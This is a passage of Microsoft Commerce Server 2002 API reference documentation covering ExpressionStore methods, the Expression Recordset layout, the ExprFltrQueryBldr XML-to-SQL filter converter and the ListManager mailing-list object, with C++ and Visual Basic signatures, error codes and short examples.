[in, optional] When specified, a String name to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vCategory [C++]
[in, optional] When specified, a BSTR containing the category or SAFEARRAY of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vCategory [Visual Basic]
[in, optional] When specified, a String containing the category or SAFEARRAY of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vProfiles [C++]
[in, optional] When specified, a BSTR containing the profile name or SAFEARRAY of profile names to match expressions against. Profile names must be specified without wildcards.
vProfiles [Visual Basic]
[in, optional] When specified, a String containing the profile name or SAFEARRAY of profile names to match expressions against. Profile names must be specified without wildcards.
ppRSExprs [C++]
[out, retval] An address of a pointer to a Recordset object that contains the result set of expressions. On failure, the pointer to the Recordset object will be set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns an ADO hierarchical Recordset object. If successful, the Recordset object contains the result set of expressions. If unsuccessful, the Recordset object is set to Nothing.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

Remarks

If a combination of the optional parameters is specified, the retrieved expressions satisfy all constraints (implicit AND applied). For example, if name = "Robert%" and category = "General", only expressions with names starting with "Robert" and with a category of "General" will be returned.

When multiple profile names are specified, the query result includes expressions with profile requirements (dependencies) that include any of the listed profile names (implicit OR applied). Thus, if name = "Robert%" and the profiles "User" and "Context" are specified as profiles, the Query method will return all expressions with names starting with "Robert" and profiles requiring only "User", only "Context", or both "User" and "Context".

[C++] For details on the ADO Recordset object that represents the expression, see Expression Recordset.

[Visual Basic] For details on the ADO Recordset object that represents the expression, see Expression Recordset.

Call the Connect method before calling the Query method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppRSExprs parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' rsExpr is a Recordset object that will contain all expressions
' with a name starting with 'Express', having a category of
' Octogenarians' and a profile dependency on 'joeuser'.

rsExpr = oExpressionStore.Query("Express%", "Octogenarians", "joeuser")

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect


IExpressionStore::RenameExpression Method [C++]

ExpressionStore.RenameExpression Method [Visual Basic]

Use this method to rename an existing expression in the expression store. The new expression name must be unique or the operation will fail.

Definition

[C++]
HRESULT IExpressionStore::RenameExpression(
 long nExprID,
 BSTR strNewName
);
[Visual Basic]
Sub RenameExpression(
 nExprID As Long,
 strNewName As String
)

Parameters

nExprID [C++]
[in] A long that contains the expression ID.
nExprID [Visual Basic]
[in] A Long that contains the expression ID.
strNewName [C++]
[in] A BSTR that contains the new name.
strNewName [Visual Basic]
[in] A String that contains the new name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified, or expression ID not found in store
E_EXPR_BADEXPRNAME | [C++] 0x81100003 [Visual Basic] &H81100003 | Invalid expression name
E_EXPR_DUPEXPRNAME | [C++] 0x81100007 [Visual Basic] &H81100007 | Duplicate expression name
E_EXPR_INVALIDFIELDSIZE | [C++] 0x81100005 [Visual Basic] &H81100005 | The new name exceeds the maximum size of 30 characters
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetExprID method to translate an expression name to its corresponding expression ID.

Call the Connect method before calling the RenameExpression method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 52997 is a valid expression ID retrieved from the GetExprId method.

oExpressionStore.RenameExpression(52997, "MyNewName")

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExprID

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExprID


IExpressionStore::SaveExpression Method [C++]

ExpressionStore.SaveExpression Method [Visual Basic]

Use this method to save a new or modified expression to the expression store. For a new expression, the SaveExpression method automatically generates a unique expression ID and stores it with the expression.

Definition

[C++]
HRESULT IExpressionStore::SaveExpression(
 _Recordset* pRSExpr
);
[Visual Basic]
Sub SaveExpression(
 pRSExpr As Object
)

Parameters

pRSExpr [C++]
[in] A pointer to the ADO hierarchical Recordset object that contains the expression.
pRSExpr [Visual Basic]
[in] A Recordset object that contains the expression.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRBODY | [C++] 0x81100004 [Visual Basic] &H81100004 | Invalid or missing expression body
E_EXPR_BADEXPRCATEGORY | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression category specified
E_EXPR_BADEXPRNAME | [C++] 0x81100003 [Visual Basic] &H81100003 | Invalid expression name
E_EXPR_CYCLEDETECTED | [C++] 0x81100006 [Visual Basic] &H81100006 | A cycle was detected in the expression dependencies of this expression
E_EXPR_DUPEXPRDEPS | [C++] 0x81100009 [Visual Basic] &H81100009 | Duplicate expression dependency
E_EXPR_DUPEXPRNAME | [C++] 0x81100007 [Visual Basic] &H81100007 | Duplicate expression name
E_EXPR_DUPPROFDEPS | [C++] 0x81100008 [Visual Basic] &H81100008 | Duplicate profile dependency
E_EXPR_INVALIDEXPRDEPS | [C++] 0x8110000B [Visual Basic] &H8110000B | One or more of the expression dependencies refers to an expression ID that does not exist
E_EXPR_INVALIDFIELDSIZE | [C++] 0x81100005 [Visual Basic] &H81100005 | The new name exceeds the maximum size of 30 characters
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NOPROFDEPS | [C++] 0x81100002 [Visual Basic] &H81100002 | Expression must have at least one profile-dependency to be saved

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] If the expression being saved is not currently in the expression store, the SaveExpression method generates a unique identifier and populates the ExprID field of the Recordset object. The identifier is a positive integer. For more information about the format and fields of the Recordset object, see Expression Recordset.

[Visual Basic] If the expression being saved is not currently in the expression store, the SaveExpression method generates a unique identifier and populates the ExprID field of the Recordset object. The identifier is a positive integer. For more information about the format and fields of the Recordset object, see Expression Recordset.

The ExpressionStore object performs rudimentary checks for expression dependencies when an expression is saved or deleted. This includes any direct references, a test for cyclic referencing, and any references to non-existent expressions.

Call the Connect method before calling the SaveExpression method.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExpression

[C++] IExpressionStore::NewExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExpression

[Visual Basic] ExpressionStore.NewExpression


Expression Recordset [C++]

Expression Recordset [Visual Basic]

An expression is a statement constructed with Boolean and relational operators that is evaluated against the data in a given set of profiles. The part of an expression that is evaluated is stored as an Extended Markup Language (XML) string in the ExprBody field of an ActiveX Data Object (ADO) Recordset object. Recordset objects are contained in a database known as the Expression Store.

This section contains:

[C++]
  • Expression Recordset Object. Describes the ADO hierarchical Recordset object that represents the expression.
  • Expression Recordset Example. Shows an example of an expression Recordset object.
[Visual Basic]
  • Expression Recordset Object. Describes the ADO hierarchical Recordset object that represents the expression.
  • Expression Recordset Example. Shows an example of an expression Recordset object.

See Also

Targeting Objects

Expression XML Structures

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object

[C++] ExpressionEval Object

[C++] ExpressionStore Object


Expression Recordset Object [C++]

Expression Recordset Object [Visual Basic]

The ExpressionStore object represents expressions and their dependencies using an ADO shaped hierarchical Recordset object. The structure of this Recordset object consists of a parent Recordset object with pointers to two child Recordset objects.

An empty Recordset object with the prescribed structure is created by calling the NewExpression method of the ExpressionStore object. Once the fields of the Recordset object have been filled in, the SaveExpression method is used to commit the expression to the expression store. In a similar fashion, those methods of the ExpressionStore object that return expressions from the store, such as GetExpression and GetAllExprs, return the expression data in this hierarchical Recordset object structure.

Parent Recordset

The fields in the parent Recordset object are shown in the following table.

Field | Type | Requirement | Description
ExprID | Integer | Generated by the SaveExpression method of the ExpressionStore object when a new expression is saved. | Unique identifier for the expression. This is a positive integer.
ExprName | String | Required field supplied by the user. | Unique name of the expression. The following characters are not allowed: ', ", &, \, /, <, >
Category | String | Optional field supplied by the user. | Category of the expression. May be used as a filter. The following characters are not allowed: ', ", &, \, /, <, >
ExprDesc | String | Optional field supplied by the user. | Description of the expression. Maximum length is 200 characters. The following characters are not allowed: &, <, >
ExprBody | String | Required field supplied by the user. | Extensible Markup Language (XML) body of the recordset. The evaluable expression. Maximum length is 3400 characters. For more information, see Expression XML Structures.
DateCreated | Date | Generated by the system. | Date the recordset was created.
DateModified | Date | Generated by the system. | Date the recordset was last modified.
rsExprDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the expression dependencies of this expression.
rsProfDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the profile type dependencies of this expression.

Expression Dependencies Child Recordset

This Recordset object contains a record for each expression that the parent expression is immediately dependent on. The information does not include nested dependencies. If the parent expression does not depend on any expressions, this recordset may be empty.

The fields in the expression dependencies child Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ExprDep | Integer | Identifier of the dependent expression.

Profile Dependencies Child Recordset

This Recordset object contains a record for each profile this expression is dependent on. The user must populate at least one record when creating a new expression.

The fields in the profile dependencies Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ProfDep | String | Name of the dependent profile.

Remarks

The ExprId fields of the two child Recordset objects contain the same value as the ExprID field of the parent Recordset object that is generated when a new expression is saved.


Expression Recordset Example [C++]

Expression Recordset Example [Visual Basic]

The following examples shows two Recordset objects containing expressions. The first is for an expression (ID = 7) dependent on one profile (User) and no expressions. The second is for an expression (ID = 24) dependent on one other expression (ID=7) and two hypothetical profiles (Product and User). The DateCreated, DateModified, rsExprDeps, and rsProfDeps fields are not shown.

Parent Recordset for Expression7

ExprID | ExprName | Category | ExprDesc | ExprBody
7 | "Expression7" | "Hair" | "Brown" | String7

Expression Dependencies Child Recordset for Expression7

ExprID | ExprDep

Profile Dependencies Child Recordset for Expression7

ExprID | ProfDep
7 | "User"
String7 = "<CLAUSE OPER="is-true">
             <PROPERTY ID="User.GeneralInfo.hair" TYPE="string"/>
             <IMMED-VAL TYPE="string">Brown</IMMED-VAL>
           </CLAUSE>"

Parent Recordset for Expression24

ExprID | ExprName | Category | ExprDesc | ExprBody
24 | "Expression24" | "Octogenarians" | "Brown_haired_users_over_80" | String24

Expression Dependencies Child Recordset for Expression24

ExprID | ExprDep
24 | 7

Profile Dependencies Child Recordset for Expression24

ExprID | ProfDep
24 | "Product"
24 | "User"
String24 = "<TERM TYPE="and">
              <CLAUSE OPER="is-true">
                <EXPR-REF ID=7/>
              </CLAUSE>
              <CLAUSE OPER="equal">
                <PROPERTY ID="Product.name" TYPE="string"/>
                <IMMED-VAL TYPE="string">hair dye</IMMED-VAL>
              </CLAUSE>
              <CLAUSE OPER="at-least">
                <PROPERTY ID="User.GeneralInfo.age" TYPE="number"/>
                <IMMED-VAL TYPE="number">80</IMMED-VAL>
              </CLAUSE>
            </TERM>"


ExprEvalContext Object [C++]

ExprEvalContext Object [Visual Basic]

This object is created by the CreateEvalContext method of the ExpressionEval object. It is used to store a common context for evaluating multiple expressions. ExprEvalContext objects are stored in the context cache by the ExpressionEval object and deleted when the ExpressionEval object is destroyed.

Since the ExprEvalContext object is intended to be accessed solely through the ExpressionEval object, no documentation of the properties and methods of the ExprEvalContext object is provided.

Caution

  • Do not attempt to change any values internal to the ExprEvalContext object. Changing these values will corrupt the object and render it invalid. Use only the methods of the ExpressionEval object to create, access, and delete the ExprEvalContext object.

See Also

[C++] Targeting Objects

[C++] ExpressionEval Object

[Visual Basic] Targeting Objects

[Visual Basic] ExpressionEval Object


ExprFltrQueryBldr Object [C++]

ExprFltrQueryBldr Object [Visual Basic]

Use this object to translate an expression in Extensible Markup Language (XML) form into a SQL filter query string. A filter query returns a subset of items from a database based on a combination of attribute values.

ProgID: | Commerce.ExprFltrQueryBldr (Externally creatable)
COM Class Name: | ExprFltrQueryBldr
Type Library Name: | Microsoft Commerce 2002 Expression Builder Type Library
DLL Name: | exprfltrbldr.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | IExprFltrQueryBldr
Interface ID Constant: | IID_IExprFltrQueryBldr
Header File: | exprfltrbldr.h, mspu_guids.h
[C++]

In C++, use the IExprFltrQueryBldr interface to access the properties and methods of the ExprFltrQueryBldr object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.
[Visual Basic]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.

Remarks

The expression in XML form may contain a reference to a Dictionary object.

See Also

[C++] Expression XML Structures

[Visual Basic] Expression XML Structures


IXprFltrQueryBldr Methods [C++]

IXprFltrQueryBldr Methods [Visual Basic]

Methods

[C++]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.
[Visual Basic]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.


IExprFltrQueryBldr::ConvertExprToSqlFltrStr Method [C++]

ExprFltrQueryBldr.ConvertExprToSqlFltrStr Method [Visual Basic]

Use this method to convert an expression in Extensible Markup Language (XML) form to a SQL filter query string.

Definition

[C++]
HRESULT IExprFltrQueryBldr::ConvertExprToSqlFltrStr(
  BSTR pExpression,
  BSTR* pFilter
);
[Visual Basic]
Function ConvertExprToSqlFltrStr(
  pExpression As String
) As String

Parameters

pExpression [C++]
[in] A BSTR that contains the expression in XML form.
pExpression [Visual Basic]
A String that contains the expression in XML form.
pFilter [C++]
[out, retval] A pointer to a BSTR used to return the SQL filter string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the SQL filter string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The pFilter parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sXMLExpr and sSqlFilter are Strings.
' Note that the sXMLExpr string is not properly formatted with respect
' to quotation marks or continuation to increase readability.

sXMLExpr = "<CLAUSE OPER="at-least">
              <PROPERTY ID="user.age" TYPE="number"/>
              <IMMED-VAL TYPE="number">80</IMMED-VAL>
            </CLAUSE>"

sSqlFilter = oExprFltrQueryBldr.ConvertExprToSqlFltrStr(sXMLExpr)
' The resulting sSQLFilter string is: user.age >= 80.

See Also

[C++] ExprFltrQueryBldr Object

[Visual Basic] ExprFltrQueryBldr Object


IExprFltrQueryBldr::ConvertExprUsingDict Method [C++]

ExprFltrQueryBldr.ConvertExprUsingDict Method [Visual Basic]

Use this method to convert an expression in Extensible Markup Language (XML) form containing a reference to a Dictionary object into a SQL filter query string.

Definition

[C++]
HRESULT IExprFltrQueryBldr::ConvertExprUsingDict(
  BSTR pExpr,
  IDispatch* pDict,
  BSTR* pDest
);
[Visual Basic]
Function ConvertExprUsingDict(
  pExpr As String,
  pDict As Object
) As String

Parameters

pExpr [C++]
[in] A BSTR that contains the expression in XML form.
pExpr [Visual Basic]
A String that contains the expression in XML form.
pDict [C++]
[in] A pointer to the IDispatch interface of a Dictionary object that contains the values referenced by the expression.
pDict [Visual Basic]
A Dictionary object that contains the values referenced by the expression.
pDest [C++]
[out, retval] A pointer to a BSTR used to return the SQL filter string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the SQL filter string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

In the XML expression, a reference to a Dictionary object is made by preceding the value inside the IMMED-VAL tags with the keyword 'context'. If such a reference is found during conversion of the expression, the reference is replaced with the value read from the Dictionary object.

[C++]

The pDest parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ExprFltrQueryBldr Object

[Visual Basic] ExprFltrQueryBldr Object


ListManager Object[C++]

ListManager Object [Visual Basic]

Use this object to create and manage lists of users for the Profiling System, lists of e-mail addresses for the Direct Mailer, and lists created from files and SQL queries.

ProgID: | Commerce.ListManager (Externally creatable)
COM Class Name: | ListManager
Type Library Name: | Microsoft Commerce 2002 ListManager Type Library
EXE Name: | listmanager.exe
Threading Model: | Both
[C++]
COM Interface Name: | IListManager
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IListManager interface to access the properties and methods of the ListManager object.

Methods

[C++]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromFile | Creates a list from a file.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.
[Visual Basic]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromFile | Creates a list from a file.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.

Properties

[C++]
Property | Type | Description
ConnectionString | BSTR | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | long | Stores the current status of the ListManager object. This property is read-only.
[Visual Basic]
Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Long | Stores the current status of the ListManager object. This property is read-only.

Remarks

List Manager has functionality to manipulate two types of lists, Generic and Mailing. Each type may also have User and Mailable attributes. Lists are designated as static or dynamic depending on when the data is imported.

A Generic list may have any set of column names and types - it essentially maps to a SQL table.

A Mailing list is a list for use with Direct Mailer. It contains a list of recipients to receive mail or a list of recipients who should be opted out of a mailing. Each mailing list has its own table.

The following table describes the columns of a Mailing list table.

Field | Type | Description
rcp_email | NVARCHAR [256] | E-mail address of the recipient.
rcp_guid | NVARCHAR [64] | (Optional) User ID. Usually a GUID which is a key to the profile of the user.
rcp_fmt | smallint | (Optional) Message format flag. Legal values are: 1 - TEXT 2 - MIME 3 - MHTML
rcp_locale | NVARCHAR[20] | (Optional) Preferred character set of the recipient. See DirectMailer specifications for details.
rcp_url | NVARCHAR[2084] | (Optional) URL used for retrieving personalized content for the user.

A Mailable list is any list with an rcp_email column.

A User list is any list with an rcp_guid column.

In a static list, records are imported at the time the list is created.

A dynamic list imports records on demand when referenced by another operation.

List Manager can import lists from the following sources:

  • An SQL query run against an ODBC data source
  • A text file (CSV format)

List Manager can export lists to the following destinations:

  • A SQL Server 2000 table in an external database
  • A text file (CSV format)

List Manager allows time consuming operations to run in an asynchronous manner wherein the operation returns immediately after the process has started and assigns an operation ID that can be used to access the operation.

List Manager stores information about lists and operations in the lm_master and lm_master_operations tables, respectively.

See Also

Targeting Objects


IListManager Methods [C++]

ListManager Methods [Visual Basic]

Methods

[C++]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromFile | Creates a list from a file.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.
[Visual Basic]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromFile | Creates a list from a file.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.


IListManager::AddUserToMailingList Method [C++]

ListManager.AddUserToMailingList Method [Visual Basic]

Use this method to add a user record to a mailing list.

Definition

[C++]
HRESULT IListManager::AddUserToMailingList(
  VARIANT listID,
  VARIANT UserEmail,
  VARIANT UserGUID,
  VARIANT UserFmt,
  VARIANT UserLocale,
  VARIANT UserUrl
);
[Visual Basic]
Sub AddUserToMailingList(
  listID As Variant,
  UserEmail As Variant,
  Optional UserGUID As Variant,
  Optional UserFmt As Variant,
  Optional UserLocale As Variant,
  Optional UserUrl As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains ID or name of the list.
UserEmail [C++]
[in] A VARIANT that contains the e-mail address of the user.
UserEmail [Visual Basic]
A Variant that contains the e-mail address of the user.
UserGUID [C++]
[in, optional] A VARIANT that contains the ID of the user (usually a GUID).
UserGUID [Visual Basic]
A Variant that contains the ID of the user (usually a GUID).
UserFmt [C++]
[in, optional] A VARIANT that contains the message format flag. See the Remarks section for more information.
UserFmt [Visual Basic]
An optional Variant that contains the message format flag. See the Remarks section for more information.
UserLocale [C++]
[in, optional] A VARIANT that contains the locale identifier (lcid) of the preferred character set for the user.
UserLocale [Visual Basic]
An optional Variant that contains the locale identifier (lcid) of the preferred character set for the user.
UserUrl [C++]
[in, optional] A VARIANT that contains a URL used for retrieving personalized content for the user.
UserUrl [Visual Basic]
An optional Variant that contains a URL used for retrieving personalized content for the user.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_MUST_BE_STATIC | [C++] 0x8C400019 [Visual Basic] &H8C400019 | The operation requires a static list and the specified list is dynamic.
E_LM_NOT_MAILING_LIST | [C++] 0x8C400018 [Visual Basic] &H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The UserFmt parameter specifies the format of a message used by the Direct Mailer. The possible values are: text (1), MIME (2), and MHTML (3).

